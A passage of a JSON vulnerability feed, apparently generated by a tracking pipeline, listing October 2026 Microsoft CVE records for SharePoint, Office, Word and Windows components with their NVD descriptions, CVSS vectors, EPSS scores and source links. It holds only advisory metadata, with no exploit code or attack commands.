allows an authorized attacker to elevate privileges over a network.","detail":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:41.413Z","updatedAt":"2026-10-14T19:43:25.660Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88198","asOf":"2026-10-14T19:43:25.660Z"},"epss":{"probability":0.00712,"percentile":0.53334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88198","type":"primary","publishedAt":"2026-10-13T19:21:41.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88198","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88197","cveId":"CVE-2026-88197","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:41.283Z","updatedAt":"2026-10-15T21:19:09.060Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88197","asOf":"2026-10-15T21:19:09.060Z"},"epss":{"probability":0.00524,"percentile":0.442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88197","type":"primary","publishedAt":"2026-10-13T19:21:41.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88197","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88196","cveId":"CVE-2026-88196","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:41.150Z","updatedAt":"2026-10-15T21:19:08.943Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88196","asOf":"2026-10-15T21:19:08.943Z"},"epss":{"probability":0.00738,"percentile":0.54248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88196","type":"primary","publishedAt":"2026-10-13T19:21:41.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88196","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88194","cveId":"CVE-2026-88194","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:40.830Z","updatedAt":"2026-10-16T17:35:34.340Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88194","asOf":"2026-10-16T17:35:34.340Z"},"epss":{"probability":0.00312,"percentile":0.2382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88194&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88194","type":"primary","publishedAt":"2026-10-13T19:21:40.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88194","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88194&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88194, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88193","cveId":"CVE-2026-88193","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:40.647Z","updatedAt":"2026-10-20T00:34:52.300Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88193","asOf":"2026-10-20T00:34:52.300Z"},"epss":{"probability":0.003,"percentile":0.22459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88193","type":"primary","publishedAt":"2026-10-13T19:21:40.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88193","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88191","cveId":"CVE-2026-88191","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:40.347Z","updatedAt":"2026-10-16T17:36:49.003Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88191","asOf":"2026-10-16T17:36:49.003Z"},"epss":{"probability":0.00375,"percentile":0.31159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88191&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88191","type":"primary","publishedAt":"2026-10-13T19:21:40.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88191","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88191&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88191, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88189","cveId":"CVE-2026-88189","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:40.010Z","updatedAt":"2026-10-16T17:37:44.710Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88189","asOf":"2026-10-16T17:37:44.710Z"},"epss":{"probability":0.0024,"percentile":0.15005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88189","type":"primary","publishedAt":"2026-10-13T19:21:40.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88189","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88188","cveId":"CVE-2026-88188","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:39.770Z","updatedAt":"2026-10-16T17:38:42.187Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88188","asOf":"2026-10-16T17:38:42.187Z"},"epss":{"probability":0.00312,"percentile":0.2382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88188","type":"primary","publishedAt":"2026-10-13T19:21:39.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88188","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88186","cveId":"CVE-2026-88186","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:39.650Z","updatedAt":"2026-10-15T21:19:08.053Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88186","asOf":"2026-10-15T21:19:08.053Z"},"epss":{"probability":0.00859,"percentile":0.58193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88186","type":"primary","publishedAt":"2026-10-13T19:21:39.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88186","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88185","cveId":"CVE-2026-88185","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:39.527Z","updatedAt":"2026-10-15T21:19:07.930Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88185","asOf":"2026-10-15T21:19:07.930Z"},"epss":{"probability":0.0078,"percentile":0.55644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88185","type":"primary","publishedAt":"2026-10-13T19:21:39.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88185","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88182","cveId":"CVE-2026-88182","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:39.123Z","updatedAt":"2026-10-16T17:40:02.327Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88182","asOf":"2026-10-16T17:40:02.327Z"},"epss":{"probability":0.00312,"percentile":0.23818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88182","type":"primary","publishedAt":"2026-10-13T19:21:39.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88182","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88181","cveId":"CVE-2026-88181","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.980Z","updatedAt":"2026-10-20T00:35:01.553Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88181","asOf":"2026-10-20T00:35:01.553Z"},"epss":{"probability":0.00312,"percentile":0.23817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88181","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88181","type":"primary","publishedAt":"2026-10-13T19:21:38.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), 